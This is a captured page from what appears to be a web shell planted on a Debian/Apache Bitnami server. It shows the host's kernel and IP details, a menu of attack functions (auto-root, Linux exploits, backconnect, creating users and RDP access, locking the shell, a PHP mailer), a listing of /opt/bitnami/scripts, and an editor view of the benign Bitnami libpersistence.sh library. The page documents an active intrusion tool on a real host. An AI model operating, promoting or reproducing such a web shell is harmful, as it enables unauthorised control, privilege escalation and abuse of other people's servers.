Linux ip-172-26-5-244 6.1.0-28-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
Apache
: 172.26.5.244 | : 216.73.216.21
Cant Read [ /etc/named.conf ]
8.3.14
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
bitnami /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
apache
[ DIR ]
drwxr-xr-x
apache-lamp
[ DIR ]
drwxr-xr-x
apache-php-fpm
[ DIR ]
drwxr-xr-x
init
[ DIR ]
drwxr-xr-x
mariadb
[ DIR ]
drwxr-xr-x
php
[ DIR ]
drwxr-xr-x
php-mysql
[ DIR ]
drwxr-xr-x
phpmyadmin
[ DIR ]
drwxr-xr-x
varnish
[ DIR ]
drwxr-xr-x
apache-env.sh
3.48
KB
-rw-r--r--
bitnami-env.sh
414
B
-rw-r--r--
libapache.sh
32.36
KB
-rw-r--r--
libfile.sh
4.29
KB
-rw-r--r--
libfs.sh
4.66
KB
-rw-r--r--
liblog.sh
2.61
KB
-rw-r--r--
libmariadb.sh
46.25
KB
-rw-r--r--
libnet.sh
4.71
KB
-rw-r--r--
libos.sh
15.69
KB
-rw-r--r--
libpersistence.sh
4.6
KB
-rw-r--r--
libphp.sh
7.48
KB
-rw-r--r--
libphpmyadmin.sh
8.94
KB
-rw-r--r--
libservice.sh
14.13
KB
-rw-r--r--
libvalidations.sh
6.62
KB
-rw-r--r--
libvarnish.sh
5.75
KB
-rw-r--r--
libversion.sh
1.42
KB
-rw-r--r--
libwebserver.sh
15.05
KB
-rw-r--r--
mariadb-env.sh
8.47
KB
-rw-r--r--
php-env.sh
3.61
KB
-rw-r--r--
phpmyadmin-env.sh
5.43
KB
-rw-r--r--
varnish-env.sh
3.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : libpersistence.sh
#!/bin/bash # Copyright Broadcom, Inc. All Rights Reserved. # SPDX-License-Identifier: APACHE-2.0 # # Bitnami persistence library # Used for bringing persistence capabilities to applications that don't have clear separation of data and logic # shellcheck disable=SC1091 # Load Generic Libraries . /opt/bitnami/scripts/libfs.sh . /opt/bitnami/scripts/libos.sh . /opt/bitnami/scripts/liblog.sh . /opt/bitnami/scripts/libversion.sh # Functions ######################## # Persist an application directory # Globals: # BITNAMI_ROOT_DIR # BITNAMI_VOLUME_DIR # Arguments: # $1 - App folder name # $2 - List of app files to persist # Returns: # true if all steps succeeded, false otherwise ######################### persist_app() { local -r app="${1:?missing app}" local -a files_to_restore read -r -a files_to_persist <<< "$(tr ',;:' ' ' <<< "$2")" local -r install_dir="${BITNAMI_ROOT_DIR}/${app}" local -r persist_dir="${BITNAMI_VOLUME_DIR}/${app}" # Persist the individual files if [[ "${#files_to_persist[@]}" -le 0 ]]; then warn "No files are configured to be persisted" return fi pushd "$install_dir" >/dev/null || exit local file_to_persist_relative file_to_persist_destination file_to_persist_destination_folder local -r tmp_file="/tmp/perms.acl" for file_to_persist in "${files_to_persist[@]}"; do if [[ ! -f "$file_to_persist" && ! -d "$file_to_persist" ]]; then error "Cannot persist '${file_to_persist}' because it does not exist" return 1 fi file_to_persist_relative="$(relativize "$file_to_persist" "$install_dir")" file_to_persist_destination="${persist_dir}/${file_to_persist_relative}" file_to_persist_destination_folder="$(dirname "$file_to_persist_destination")" # Get original permissions for existing files, which will be applied later # Exclude the root directory with 'sed', to avoid issues when copying the entirety of it to a volume getfacl -R "$file_to_persist_relative" | sed -E '/# file: (\..+|[^.])/,$!d' > "$tmp_file" # Copy directories to the volume ensure_dir_exists "$file_to_persist_destination_folder" cp -Lr --preserve=links "$file_to_persist_relative" "$file_to_persist_destination_folder" # Restore permissions pushd "$persist_dir" >/dev/null || exit if am_i_root; then setfacl --restore="$tmp_file" else # When running as non-root, don't change ownership setfacl --restore=<(grep -E -v '^# (owner|group):' "$tmp_file") fi popd >/dev/null || exit done popd >/dev/null || exit rm -f "$tmp_file" # Install the persisted files into the installation directory, via symlinks restore_persisted_app "$@" } ######################## # Restore a persisted application directory # Globals: # BITNAMI_ROOT_DIR # BITNAMI_VOLUME_DIR # FORCE_MAJOR_UPGRADE # Arguments: # $1 - App folder name # $2 - List of app files to restore # Returns: # true if all steps succeeded, false otherwise ######################### restore_persisted_app() { local -r app="${1:?missing app}" local -a files_to_restore read -r -a files_to_restore <<< "$(tr ',;:' ' ' <<< "$2")" local -r install_dir="${BITNAMI_ROOT_DIR}/${app}" local -r persist_dir="${BITNAMI_VOLUME_DIR}/${app}" # Restore the individual persisted files if [[ "${#files_to_restore[@]}" -le 0 ]]; then warn "No persisted files are configured to be restored" return fi local file_to_restore_relative file_to_restore_origin file_to_restore_destination for file_to_restore in "${files_to_restore[@]}"; do file_to_restore_relative="$(relativize "$file_to_restore" "$install_dir")" # We use 'realpath --no-symlinks' to ensure that the case of '.' is covered and the directory is removed file_to_restore_origin="$(realpath --no-symlinks "${install_dir}/${file_to_restore_relative}")" file_to_restore_destination="$(realpath --no-symlinks "${persist_dir}/${file_to_restore_relative}")" rm -rf "$file_to_restore_origin" ln -sfn "$file_to_restore_destination" "$file_to_restore_origin" done } ######################## # Check if an application directory was already persisted # Globals: # BITNAMI_VOLUME_DIR # Arguments: # $1 - App folder name # Returns: # true if all steps succeeded, false otherwise ######################### is_app_initialized() { local -r app="${1:?missing app}" local -r persist_dir="${BITNAMI_VOLUME_DIR}/${app}" if ! is_mounted_dir_empty "$persist_dir"; then true else false fi }
Close